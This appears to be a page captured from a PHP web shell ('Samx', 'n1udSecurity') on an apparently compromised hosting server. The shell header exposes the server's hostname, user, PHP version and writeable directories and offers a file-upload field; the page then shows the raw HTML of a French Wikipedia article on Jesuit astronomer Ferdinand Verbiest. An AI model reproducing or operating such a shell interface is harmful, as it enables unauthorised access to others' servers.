Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/f/e/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/f/e/r/Ferdinand_Verbiest_b782.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Ferdinand Verbiest - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Ferdinand Verbiest</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <p><b>Ferdinand Verbiest</b> (29 octobre <a href="../../../../articles/1/6/2/1623.html" title="1623">1623</a>, <a href="../../../../articles/p/i/t/Pittem.html" title="Pittem">Pittem</a>, <a href="../../../../articles/f/l/a/Flandre_Occidentale_361b.html" class="mw-redirect" title="Flandre Occidentale">Flandre Occidentale</a>, <a href="../../../../articles/b/e/l/Belgique.html" title="Belgique">Belgique</a> - 28 janvier <a href="../../../../articles/1/6/8/1688.html" title="1688">1688</a>, <a href="../../../../articles/p/%C3%A9/k/P%C3%A9kin.html" title="Pékin">Pékin</a> (<a href="../../../../articles/c/i/v/Civilisation_chinoise.html" title="Civilisation chinoise">Chine</a>)), est un missionnaire <a href="../../../../articles/j/%C3%A9/s/J%C3%A9suite.html" title="Jésuite">jésuite</a> <a href="../../../../articles/b/e/l/Belgique.html" title="Belgique">belge</a> qui obtint les plus grands honneurs et occupa comme 'Président du tribunal des Mathématiques' une position de très grande influence dans l'<a href="../../../../articles/e/m/p/Empire_chinois.html" class="mw-redirect" title="Empire chinois">empire chinois</a>.</p>
<div class="floatright"><span><a href="../../../../articles/l/e/_/Image%7ELe_Pere_Ferdinand_Verbiest.gif_453e.html" class="image" title="Ferdinand Verbiest en habit de mandarin-astronome"><img alt="Ferdinand Verbiest en habit de mandarin-astronome" src="../../../../images/shared/thumb/f/f0/Le_Pere_Ferdinand_Verbiest.gif/300px-Le_Pere_Ferdinand_Verbiest.gif" width="300" height="355" border="0" /></a></span></div>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#.C3.89tudes_et_formation"><span class="tocnumber">1</span> <span class="toctext">Études et formation</span></a></li>
<li class="toclevel-1"><a href="#En_Chine"><span class="tocnumber">2</span> <span class="toctext">En Chine</span></a></li>
<li class="toclevel-1"><a href="#Popularit.C3.A9_et_r.C3.A9putation"><span class="tocnumber">3</span> <span class="toctext">Popularité et réputation</span></a></li>
<li class="toclevel-1"><a href="#Oeuvres_principales"><span class="tocnumber">4</span> <span class="toctext">Oeuvres principales</span></a></li>
<li class="toclevel-1"><a href="#Notes_et_r.C3.A9f.C3.A9rences"><span class="tocnumber">5</span> <span class="toctext">Notes et références</span></a>
<ul>
<li class="toclevel-2"><a href="#Bibliographie"><span class="tocnumber">5.1</span> <span class="toctext">Bibliographie</span></a></li>
</ul>
</li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name=".C3.89tudes_et_formation"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: Études et formation">modifier</a>]</span> <span class="mw-headline">Études et formation</span></h3>
<p>Il fit ses humanités aux collèges de Bruges et de Courtrai, et un an de philosophie à Louvain avant d'entrer dans la <a href="../../../../articles/c/o/m/Compagnie_de_J%C3%A9sus_425e.html" title="Compagnie de Jésus">Compagnie de Jésus</a> en 1641. Après le noviciat, il fit encore deux années de philosophie à Louvain. En vue de partir en Amérique du Sud, ses études de théologie se firent à Seville (<a href="../../../../articles/e/s/p/Espagne.html" title="Espagne">Espagne</a>) où il fut ordonné prêtre en 1655. N'obtenant pas des autorités espagnoles l'autorisation de partir pour l'Amérique du Sud, il demanda, et obtint, la permission du Supérieur Général des Jésuites de se tourner vers la Chine. Il se joignit à un groupe dirigé par le Père Martino Martini.</p>
<p><a name="En_Chine" id="En_Chine"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: En Chine">modifier</a>]</span> <span class="mw-headline">En Chine</span></h3>
<p>Arrivé à Macao en 1658, il fut immédiatement appelé à Pékin (Beijing) par le Père Johannes-Adam Schall dont les forces déclinantes demandaient un collaborateur. La réforme du calendrier à laquelle il s'attela à la suite d'Adam Schall le contraignit à dénoncer de graves erreurs de calculs astronomiques, ce qui lui acquit de nombreux ennemis parmi les mandarins de la cour impériale. Avec d'autres Jésuites, Verbiest fit de la prison, et échappa de peu à l’exécution capitale grâce à un tremblement de terre. Impressionné, l’empereur <a href="../../../../articles/k/a/n/Kangxi.html" title="Kangxi">Kangxi</a>, encore jeune, l’invita à participer à un débat contradictoire sur les mérites de l’astronomie chinoise et européenne. Le missionnaire gagna haut la main et fut nommé ‘Président du Tribunal des Mathématiques’.</p>
<p>La réforme du calendrier, un document officiel de l’empire, fut difficile à faire accepter, mais Verbiest réagit&#160;: <i>il n’est pas en mon pouvoir de convaincre le ciel à se plier à votre calendrier</i>. Le prêtre était devenu un ami de l’empereur auquel il apprit la <a href="../../../../articles/g/%C3%A9/o/G%C3%A9om%C3%A9trie.html" title="Géométrie">géométrie</a> et pour lequel il traduisit <a href="../../../../articles/e/u/c/Euclide.html" title="Euclide">Euclide</a> en Mandchou. Il équipa d’instruments modernes l’observatoire de <a href="../../../../articles/p/%C3%A9/k/P%C3%A9kin.html" title="Pékin">Pékin</a>.</p>
<div class="thumb tright">
<div class="thumbinner" style="width:182px;"><a href="../../../../articles/s/t/e/Image%7ESteamMachineOfVerbiestIn1678.jpg_ef71.html" class="image" title="Jouet à vapeur à roue à aubes dessiné par Verbiest en 1672"><img alt="Jouet à vapeur à roue à aubes dessiné par Verbiest en 1672" src="../../../../images/shared/thumb/3/3e/SteamMachineOfVerbiestIn1678.jpg/180px-SteamMachineOfVerbiestIn1678.jpg" width="180" height="129" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/s/t/e/Image%7ESteamMachineOfVerbiestIn1678.jpg_ef71.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Jouet à vapeur à <a href="../../../../articles/r/o/u/Roue_%C3%A0_aubes.html" title="Roue à aubes">roue à aubes</a> dessiné par Verbiest en 1672</div>
</div>
</div>
<p>Esprit ouvert et génial, Verbiest expérimenta en mécanique et étudia également l'utilisation de la vapeur. Il semble bien que, longtemps avant qu’on ne le fit en Europe, il construisit le premier véhicule propulsé à la <a href="../../../../articles/m/a/c/Machine_%C3%A0_vapeur.html" title="Machine à vapeur">vapeur</a>. Il a décrit sa machine dans l’ouvrage <i>Astronomia Europa</i> de 1668. Avec l’aide de lettrés chinois, il écrivit un grand nombre d’ouvrages scientifiques et dessina des cartes géographiques de l’empire du Milieu. Toujours <a href="../../../../articles/m/i/s/Missionnaire_%28chr%C3%A9tien%29.html" title="Missionnaire (chrétien)">missionnaire</a> et désireux de faire connaître <a href="../../../../articles/j/%C3%A9/s/J%C3%A9sus_de_Nazareth_9ba6.html" title="Jésus de Nazareth">Christ</a>, il écrivit également (en chinois) des ouvrages religieux dont l’un <i>Explication ordonnée des rudiments de la foi</i> fut encore réimprimé en 1935.</p>
<p><a name="Popularit.C3.A9_et_r.C3.A9putation" id="Popularit.C3.A9_et_r.C3.A9putation"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: Popularité et réputation">modifier</a>]</span> <span class="mw-headline">Popularité et réputation</span></h3>
<p>Sa personnalité comme sa compétence acquit à la foi chrétienne des membres de la famille impériale, comme des lettrés et hommes de science. Son nom se trouve sur une liste de 108 héros nationaux d’un livre populaire chinois. Lorsque Verbiest mourut à Pékin le 28 janvier 1688 la <a href="../../../../articles/f/o/i/Foi_chr%C3%A9tienne.html" class="mw-redirect" title="Foi chrétienne">foi chrétienne</a> semblait bien s’être adaptée à la culture chinoise… Enterré près de ses prédécesseurs, <a href="../../../../articles/m/a/t/Matteo_Ricci_edd0.html" title="Matteo Ricci">Matteo Ricci</a> et Adam Schall, Verbiest est toujours vénéré à en juger par le soin avec lequel sa tombe est entretenue.</p>
<p><a name="Oeuvres_principales" id="Oeuvres_principales"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: Oeuvres principales">modifier</a>]</span> <span class="mw-headline">Oeuvres principales</span></h3>
<p>(en chinois)</p>
<ul>
<li><i>Yixiang zhi</i>, 1673 (sur les instruments et appareils astronomiques)</li>
<li><i>Kangxi yongnian lifa</i>, 1678 (sur le calendrier de l'empereur Kangxi)</li>
<li><i>Jiaoyao xulun</i> (explication des rudiments de la foi)</li>
</ul>
<p>(latin)</p>
<ul>
<li><i>Astronomia Europea</i>, 1687</li>
</ul>
<p><a name="Notes_et_r.C3.A9f.C3.A9rences" id="Notes_et_r.C3.A9f.C3.A9rences"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: Notes et références">modifier</a>]</span> <span class="mw-headline">Notes et références</span></h2>
<p><br /></p>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h3>
<ul>
<li>BLONDEAU, R.A., <i>Mandariin en astronoom aan het hof van de Chinese Keizer</i>, Bruges, 1970.</li>
<li>ICKX, V., <i>Ainsi naquit l'automobile</i>, Lausanne, 1961.</li>
<li>WITEK, J.W. (ed), <i>F.Verbiest, Jesuit Missionary, Scientist, Engineer and Diplomat</i>, Nettetal, 1994.</li>
<li>GOLVERS, N. (ed), <i>The Christian Mission in China in the Verbiest era</i>, Louvain, 1999.</li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/l/a/t/Image%7ELatin_Cross.svg_1668.html" class="image" title="Icône du portail du christianisme"><img alt="Icône du portail du christianisme" src="../../../../images/shared/thumb/c/ca/Latin_Cross.svg/18px-Latin_Cross.svg.png" width="18" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/h/r/Portail%7EChristianisme_8692.html" title="Portail:Christianisme">Portail du christianisme</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/f/l/a/Image%7EFlag_of_Belgium_%28civil%29.svg_5aca.html" class="image" title="Icône du portail de la Belgique"><img alt="Icône du portail de la Belgique" src="../../../../images/shared/thumb/9/92/Flag_of_Belgium_(civil).svg/36px-Flag_of_Belgium_(civil).svg.png" width="36" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/b/e/l/Portail%7EBelgique_12f6.html" title="Portail:Belgique">Portail de la Belgique</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 137/1000000
Post-expand include size: 2192/2048000 bytes
Template argument size: 239/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/m/i/s/Cat%C3%A9gorie%7EMissionnaire_belge_858e.html" title="Catégorie:Missionnaire belge">Missionnaire belge</a></span> | <span dir='ltr'><a href="../../../../articles/j/%C3%A9/s/Cat%C3%A9gorie%7EJ%C3%A9suite_belge_2578.html" title="Catégorie:Jésuite belge">Jésuite belge</a></span> | <span dir='ltr'><a href="../../../../articles/h/i/s/Cat%C3%A9gorie%7EHistoire_des_missions_j%C3%A9suites_d451.html" title="Catégorie:Histoire des missions jésuites">Histoire des missions jésuites</a></span> | <span dir='ltr'><a href="../../../../articles/h/i/s/Cat%C3%A9gorie%7EHistoire_du_catholicisme_en_Chine_196d.html" title="Catégorie:Histoire du catholicisme en Chine">Histoire du catholicisme en Chine</a></span> | <span dir='ltr'><a href="../../../../articles/%C3%A9/c/r/Cat%C3%A9gorie%7E%C3%89crivain_belge_de_langue_latine_69fb.html" title="Catégorie:Écrivain belge de langue latine">Écrivain belge de langue latine</a></span> | <span dir='ltr'><a href="../../../../articles/n/a/i/Cat%C3%A9gorie%7ENaissance_en_1623_bcb3.html" title="Catégorie:Naissance en 1623">Naissance en 1623</a></span> | <span dir='ltr'><a href="../../../../articles/d/%C3%A9/c/Cat%C3%A9gorie%7ED%C3%A9c%C3%A8s_en_1688_8c19.html" title="Catégorie:Décès en 1688">Décès en 1688</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/f/e/r/Ferdinand_Verbiest_b782.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/f/e/r/Discuter%7EFerdinand_Verbiest_54b9.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Ferdinand_Verbiest">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../de/articles/f/e/r/Ferdinand_Verbiest_b782.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/f/e/r/Ferdinand_Verbiest_b782.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../eo/articles/f/e/r/Ferdinand_Verbiest_b782.html">Esperanto</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E3%83%95/%E3%82%A7/%E3%83%AB/%E3%83%95%E3%82%A7%E3%83%AB%E3%83%87%E3%82%A3%E3%83%8A%E3%83%B3%E3%83%88%E3%83%BB%E3%83%95%E3%82%A7%E3%83%AB%E3%83%93%E3%83%BC%E3%82%B9%E3%83%88.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ko/articles/%ED%8E%98/%EB%A5%B4/%EB%94%94/%ED%8E%98%EB%A5%B4%EB%94%94%EB%82%9C%ED%8A%B8_%ED%8E%98%EB%A5%B4%EB%B9%84%EC%8A%A4%ED%8A%B8.html">한국어</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/f/e/r/Ferdinand_Verbiest_b782.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../no/articles/f/e/r/Ferdinand_Verbiest_b782.html">‪Norsk (bokmål)‬</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/f/e/r/Ferdinand_Verbiest_b782.html">Português</a>
	      </li>
	      	      <li>
	      <a href="../../../../../vls/articles/f/e/r/Ferdinand_Verbiest_b782.html">West-Vlams</a>
	      </li>
	      	      <li>
	      <a href="../../../../../zh/articles/%E5%8D%97/%E6%80%80/%E4%BB%81/%E5%8D%97%E6%80%80%E4%BB%81.html">中文</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 25 mai 2008 à 10:28 par Utilisateur <a href="../../../../articles/p/t/y/Utilisateur%7EPtyx_494d.html" title="Utilisateur:Ptyx">Ptyx</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/h/e/r/Utilisateur%7EHerculeBot_3523.html" title="Utilisateur:HerculeBot">HerculeBot</a>, <a href="../../../../articles/z/e/r/Utilisateur%7EZerged_8bf6.html" title="Utilisateur:Zerged">Zerged</a>, <a href="../../../../articles/w/y/b/Utilisateur%7EWybot_66bb.html" title="Utilisateur:Wybot">Wybot</a>, <a href="../../../../articles/b/r/u/Utilisateur%7EBruxellensis_4e81.html" title="Utilisateur:Bruxellensis">Bruxellensis</a>, <a href="../../../../articles/p/i/p/Utilisateur%7EPipepBot_2d31.html" title="Utilisateur:PipepBot">PipepBot</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/p/o/l/Utilisateur%7EPolmars_7b89.html" title="Utilisateur:Polmars">Polmars</a>, <a href="../../../../articles/b/o/t/Utilisateur%7EBotMultichill_5179.html" title="Utilisateur:BotMultichill">BotMultichill</a>, <a href="../../../../articles/g/i/l/Utilisateur%7EGillesC_4b5f.html" title="Utilisateur:GillesC">GillesC</a> et <a href="../../../../articles/m/u/t/Utilisateur%7EMutatis_mutandis_fc64.html" title="Utilisateur:Mutatis mutandis">Mutatis mutandis</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX